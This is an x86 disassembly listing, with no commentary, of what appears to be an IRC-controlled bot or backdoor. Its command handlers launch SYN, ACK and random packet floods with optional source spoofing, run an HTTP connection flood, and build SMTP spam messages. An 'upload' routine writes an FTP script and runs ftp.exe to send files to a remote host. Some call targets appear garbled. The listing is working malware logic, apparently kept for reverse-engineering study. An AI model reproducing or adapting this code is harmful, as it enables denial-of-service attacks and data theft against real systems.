		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAF14
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB028
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB024
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAFA4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFF4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		push	esi
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9FC


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A9B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A970
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A938
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A900


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB094, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A8B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42A880
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7F4


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A78C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A744
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A70C


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A6CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A6A4
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A634
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A604


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431438, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431438


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431438[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A59C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A534
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42A470
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
